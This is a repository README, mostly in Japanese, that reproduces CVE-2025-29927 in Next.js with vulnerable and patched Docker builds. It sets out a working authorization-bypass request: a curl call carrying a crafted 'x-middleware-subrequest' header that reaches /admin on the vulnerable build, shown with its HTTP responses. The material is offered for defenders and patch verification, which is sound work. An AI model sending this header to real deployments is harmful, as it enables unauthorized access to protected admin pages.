
Reproduction and fix of the CVE-2025-29927 vulnerability.
CVE-2025-29927 脆弱性の再現と修正。
git clone [email protected]/Bongni/CVE-2025-29927.git
cd CVE-2025-29927
vulnerable/ ディレクトリには、攻撃に対して脆弱なバージョンのアプリケーションがあります。fixed/ ディレクトリには、脆弱性を修正した最小バージョンにアップグレードされたアプリケーションがあります。
⚠️ 重要: これらのサンプルは、防御担当者、研究者、パッチ適用の検証を行うチーム向けに提供されています。これらのイメージを公開ネットワークや本番環境で実行しないでください。所有しているシステム、または明示的な許可を得たシステムでのみテストしてください。
CVE-2025-29927 脆弱性の再現。
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
以下のコマンドを実行します。ログインページにリダイレクトされるはずです。
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
次に以下のコマンドを実行します。管理ページにアクセスできるはずです。
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
CVE-2025-29927 脆弱性の修正。
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
以下のコマンドを実行します。ログインページにリダイレクトされるはずです。
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
次に以下のコマンドを実行します。今度もログインページにリダイレクトされるはずです。
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
このリポジトリは l1uk/nextjs-middleware-exploit を基にしていますが、Next.js の 15.x バージョン向けに適合されています。